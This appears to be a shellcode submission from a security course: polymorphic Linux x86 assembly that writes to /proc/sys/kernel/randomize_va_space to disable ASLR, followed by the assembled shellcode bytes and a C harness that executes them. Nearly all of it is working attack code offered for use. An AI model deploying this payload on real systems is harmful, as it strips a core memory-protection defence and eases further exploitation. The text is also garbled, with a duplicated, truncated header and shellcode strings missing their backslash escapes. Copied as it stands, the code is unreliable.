#---------------------- DESCRIPTION -------------------------------------#

; Title: Linux x86 ASLR deactivation for Linux/x86 - Polymorphic
; Author: Daniel Ortiz
; Tested on: Li #---------------------- DESCRIPTION -------------------------------------#

; Title: Linux x86 ASLR deactivation for Linux/x86 - Polymorphic
; Author: Daniel Ortiz
; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
; Size: 107 bytes
; SLAE ID: PA-9844


#---------------------- ASM CODE ------------------------------------------#


SECTION .data

WRITE_SYSCALL equ 4

CLOSE_SYSCALL equ 6

SECTION .text

global _start



_start:
nop
mov eax, 0xffffffff
not eax
push eax
mov esi, 0x65636170
push esi
xor esi, esi
mov esi, 0x735f6176
push esi
xor esi, esi
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f

mov esi, 0x72702f2f
push esi
xor esi, esi


mov ebx,esp
mov cx,0x2bc
mov al,0x6
inc al
inc al
int 0x80
mov ebx,eax
push eax
mov dx,0xb01
add dx,0x2f2f
push dx
mov ecx,esp
cdq
inc edx
mov al,WRITE_SYSCALL
int 0x80
mov al,CLOSE_SYSCALL
int 0x80

mov al, 1
int 0x80


#------------------------- final shellcode ----------------------------------------#

unsigned char buf[] =
"x90xb8xffxffxffxffxf7xd0x50xbex70x61x63x65x56x31xf6xbex76x61x5f"
"x73x56x31xf6x68x69x7ax65x5fx68x6ex64x6fx6dx68x6cx2fx72x61x68x65x72"
"x6ex65x68x79x73x2fx6bx68x6fx63x2fx73xbex2fx2fx70x72x56x31xf6x89xe3"
"x66xb9xbcx02xb0x06xfexc0xfexc0xcdx80x89xc3x50x66xbax01x0bx66x81xc2"
"x2fx2fx66x52x89xe1x99x42xb0x04xcdx80xb0x06xcdx80xb0x01xcdx80";



#------------------------- usage --------------------------------------------------#

#include<stdio.h>
#include<string.h>

unsigned char code[] =


"x90xb8xffxffxffxffxf7xd0x50xbex70x61x63x65x56x31xf6xbex76x61x5fx73x56x31xf6x68x69x7ax65x5fx68x6ex64x6fx6dx68x6cx2fx72x61x68x65x72x6ex65x68x79x73x2fx6bx68x6fx63x2fx73xbex2fx2fx70x72x56x31xf6x89xe3x66xb9xbcx02xb0x06xfexc0xfexc0xcdx80x89xc3x50x66xbax01x0bx66x81xc2x2fx2fx66x52x89xe1x99x42xb0x04xcdx80xb0x06xcdx80xb0x01xcdx80";


main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}